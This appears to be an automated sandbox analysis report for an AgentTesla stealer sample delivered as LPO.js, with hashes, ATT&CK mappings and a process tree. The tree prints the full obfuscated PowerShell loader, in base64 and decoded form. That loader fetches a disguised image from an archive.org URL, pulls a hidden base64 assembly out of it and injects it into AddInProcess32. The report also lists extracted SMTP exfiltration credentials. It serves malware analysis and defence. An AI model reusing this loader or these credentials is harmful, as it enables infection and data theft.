agenttesla | 18d1b246a29100b10a3ce587927ebb0c615156352598621da18250f8ad06e318

General

Target

LPO.js
Size

133KB
MD5

de1ff5796636ce90ae34773c2492714f
SHA1

a737641923b33bb911f22e8da3bc98849737cd10
SHA256

18d1b246a29100b10a3ce587927ebb0c615156352598621da18250f8ad06e318
SHA512

e0d4ec7ebce60d0eba1c61db69090144864c7da89f7968a2d4de1c169e661717c5f1f8534fd435a674374f6453278dfa67b11ebb6dd585e4a1daf5071da8f39d
SSDEEP

3072:FLGoPD/IMIFiLTJIdmX/ZJYTaLGoPD/IM+:lQMIehmTcQM+

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600101.us.archive.org/1/items/detah-note-j_202410/DetahNote_J.jpg%20

exe.dropper

https://ia600101.us.archive.org/1/items/detah-note-j_202410/DetahNote_J.jpg%20

Extracted

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	3440	powershell.exe
17	3440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4436	powershell.exe
3440	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3440 set thread context of 2384	3440	powershell.exe	89

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4436	powershell.exe
4436	powershell.exe
3440	powershell.exe
3440	powershell.exe
2384	AddInProcess32.exe
2384	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	2384	AddInProcess32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4068 wrote to memory of 4436	4068	wscript.exe	83
PID 4068 wrote to memory of 4436	4068	wscript.exe	83
PID 4436 wrote to memory of 3440	4436	powershell.exe	87
PID 4436 wrote to memory of 3440	4436	powershell.exe	87
PID 3440 wrote to memory of 2384	3440	powershell.exe	89
PID 3440 wrote to memory of 2384	3440	powershell.exe	89
PID 3440 wrote to memory of 2384	3440	powershell.exe	89
PID 3440 wrote to memory of 2384	3440	powershell.exe	89
PID 3440 wrote to memory of 2384	3440	powershell.exe	89
PID 3440 wrote to memory of 2384	3440	powershell.exe	89
PID 3440 wrote to memory of 2384	3440	powershell.exe	89
PID 3440 wrote to memory of 2384	3440	powershell.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\LPO.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAKABHAEUAdAAtAFYAYQBSAEkAYQBCAGwAZQAgACcAKgBNAGQAUgAqACcAKQAuAE4AQQBNAGUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQAoACgAJwBUAFEARQBpAG0AJwArACcAYQBnAGUAVQByAGwAIAA9ACAAWQB5AGgAaAB0AHQAcABzADoAJwArACcALwAvAGkAYQA2ADAAMAAxADAAMQAuACcAKwAnAHUAcwAuAGEAcgBjAGgAaQAnACsAJwB2AGUALgBvAHIAZwAvADEALwBpAHQAZQBtAHMAJwArACcALwBkAGUAdABhAGgALQBuAG8AdABlAC0AagBfADIAMAAyADQAMQAwAC8ARABlAHQAYQBoAE4AbwB0AGUAXwBKAC4AagBwAGcAIABZAHkAaAA7AFQAUQAnACsAJwBFAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAJwArACcAQwBsAGkAJwArACcAZQBuAHQAOwBUAFEARQAnACsAJwBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAFQAUQBFAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKABUAFEARQBpAG0AYQBnAGUAVQByAGwAKQA7AFQAUQBFAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFQAUQBFAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AFQAUQBFAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAFkAeQBoADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AWQB5AGgAOwAnACsAJwBUAFEARQBlAG4AZABGAGwAYQBnACAAPQAgAFkAeQBoADwAPABCACcAKwAnAEEAUwBFADYANABfAEUATgAnACsAJwBEAD4APgBZAHkAaAA7AFQAUQBFAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAVABRAEUAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAVABRAEUAcwB0AGEAcgB0AEYAbABhAGcAKQA7AFQAUQBFAGUAbgBkAEkAbgBkAGUAeAAgAD0AIABUAFEARQBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKABUAFEARQBlAG4AZABGAGwAYQBnACkAOwBUAFEARQBzAHQAJwArACcAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgAFQAUQBFACcAKwAnAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAVABRAEUAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AFQAUQBFAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIABUAFEARQAnACsAJwBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAVABRAEUAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAVABRAEUAZQBuAGQASQBuAGQAZQB4ACAALQAgAFQAUQBFAHMAdABhAHIAdABJAG4AZABlACcAKwAnAHgAOwBUAFEARQBiAGEAcwBlADYANABDAG8AbQBtACcAKwAnAGEAbgBkACAAPQAgAFQAUQBFAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKABUAFEARQBzAHQAYQByAHQASQAnACsAJwBuAGQAZQB4ACwAIABUAFEARQBiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAVABRAEUAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCACcAKwAnAGEAJwArACcAcwBlADYANABTAHQAcgBpAG4AJwArACcAZwAoAFQAUQBFAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7AFQAUQBFACcAKwAnAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiACcAKwAnAGwAeQBdADoAOgBMAG8AYQBkACgAJwArACcAVABRAEUAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AFQAUQBFAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABZAHkAaABWAEEASQBZAHkAaAApADsAVABRAEUAdgBhAGkATQAnACsAJwBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoAFQAUQBFAG4AdQBsAGwALAAgAEAAKABZAHkAaAB0AHgAdAAuAGEAZABhAHkAaQAvAHYAZQBkAC4AMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgBjADAAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAyACcAKwAnAC0AJwArACcAYgB1ACcAKwAnAHAALwAvADoAcwBwAHQAdABoAFkAeQBoACwAIABZAHkAaABkAGUAcwBhAHQAaQB2AGEAZABvAFkAeQBoACwAIABZAHkAaABkAGUAJwArACcAcwBhAHQAaQB2AGEAZABvAFkAeQBoACwAIABZAHkAaABkAGUAcwBhAHQAaQB2AGEAZABvAFkAeQBoACwAIABZAHkAaABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAzADIAWQB5AGgALAAgAFkAeQBoAGQAZQBzAGEAdABpAHYAYQBkAG8AWQB5ACcAKwAnAGgALAAnACsAJwAgAFkAeQBoAGQAZQBzAGEAdABpAHYAYQAnACsAJwBkAG8AWQB5AGgAKQApADsAJwApAC4AUgBlAHAAbABhAGMARQAoACgAWwBjAGgAQQByAF0AOAA0ACsAWwBjAGgAQQByAF0AOAAxACsAWwBjAGgAQQByAF0ANgA5ACkALABbAHMAVAByAGkATgBHAF0AWwBjAGgAQQByAF0AMwA2ACkALgBSAGUAcABsAGEAYwBFACgAKABbAGMAaABBAHIAXQA4ADkAKwBbAGMAaABBAHIAXQAxADIAMQArAFsAYwBoAEEAcgBdADEAMAA0ACkALABbAHMAVAByAGkATgBHAF0AWwBjAGgAQQByAF0AMwA5ACkAIAApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((GEt-VaRIaBle '*MdR*').NAMe[3,11,2]-join'')(('TQEim'+'ageUrl = Yyhhttps:'+'//ia600101.'+'us.archi'+'ve.org/1/items'+'/detah-note-j_202410/DetahNote_J.jpg Yyh;TQ'+'EwebClient = New-Object System.Net.Web'+'Cli'+'ent;TQE'+'imageBytes = TQEwebClient.DownloadData(TQEimageUrl);TQEimageText = [System.Text.Encoding]::UTF8.GetString(TQEimageBytes);TQEstartFlag = Yyh<<BASE64_START>>Yyh;'+'TQEendFlag = Yyh<<B'+'ASE64_EN'+'D>>Yyh;TQEstartIndex = TQEimageText.IndexOf(TQEstartFlag);TQEendIndex = TQEimageText.IndexOf(TQEendFlag);TQEst'+'artIndex -ge 0 -and TQE'+'endIndex -gt TQEstartIndex;TQEstartIndex += TQE'+'startFlag.Length;TQEbase64Length = TQEendIndex - TQEstartInde'+'x;TQEbase64Comm'+'and = TQEimageText.Substring(TQEstartI'+'ndex, TQEbase64Length);TQEcommandBytes = [System.Convert]::FromB'+'a'+'se64Strin'+'g(TQEbase64Command);TQE'+'loadedAssembly = [System.Reflection.Assemb'+'ly]::Load('+'TQEcommandBytes);TQEvaiMethod = [dnlib.IO.Home].GetMethod(YyhVAIYyh);TQEvaiM'+'ethod.Invoke(TQEnull, @(Yyhtxt.adayi/ved.2r.39b345302a075b1bc0d45b632eb9ee62'+'-'+'bu'+'p//:sptthYyh, YyhdesativadoYyh, Yyhde'+'sativadoYyh, YyhdesativadoYyh, YyhAddInProcess32Yyh, YyhdesativadoYy'+'h,'+' Yyhdesativa'+'doYyh));').ReplacE(([chAr]84+[chAr]81+[chAr]69),[sTriNG][chAr]36).ReplacE(([chAr]89+[chAr]121+[chAr]104),[sTriNG][chAr]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
81d91bab2fdd72436e4852d94ea7650d

SHA1
5652b3c46a0cf75a03859c5707f36fb08f5c631a

SHA256
68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1

SHA512
df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvjeassl.lq0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2384-32-0x0000000005F20000-0x00000000064C4000-memory.dmp

Filesize
5.6MB

Download
memory/2384-33-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

Download
memory/2384-37-0x0000000006D50000-0x0000000006D5A000-memory.dmp

Filesize
40KB

Download
memory/2384-36-0x0000000006D70000-0x0000000006E0C000-memory.dmp

Filesize
624KB

Download
memory/2384-35-0x0000000006C80000-0x0000000006CD0000-memory.dmp

Filesize
320KB

Download
memory/2384-25-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2384-34-0x0000000006B90000-0x0000000006C22000-memory.dmp

Filesize
584KB

Download
memory/3440-24-0x000001EB71700000-0x000001EB71920000-memory.dmp

Filesize
2.1MB

Download
memory/4436-31-0x00007FFA2ED60000-0x00007FFA2F821000-memory.dmp

Filesize
10.8MB

Download
memory/4436-0-0x00007FFA2ED63000-0x00007FFA2ED65000-memory.dmp

Filesize
8KB

Download
memory/4436-1-0x000001FEA7060000-0x000001FEA7082000-memory.dmp

Filesize
136KB

Download
memory/4436-11-0x00007FFA2ED60000-0x00007FFA2F821000-memory.dmp

Filesize
10.8MB

Download
memory/4436-12-0x00007FFA2ED60000-0x00007FFA2F821000-memory.dmp

Filesize
10.8MB

Download
memory/4436-23-0x00007FFA2ED60000-0x00007FFA2F821000-memory.dmp

Filesize
10.8MB

Download
memory/4436-22-0x00007FFA2ED63000-0x00007FFA2ED65000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads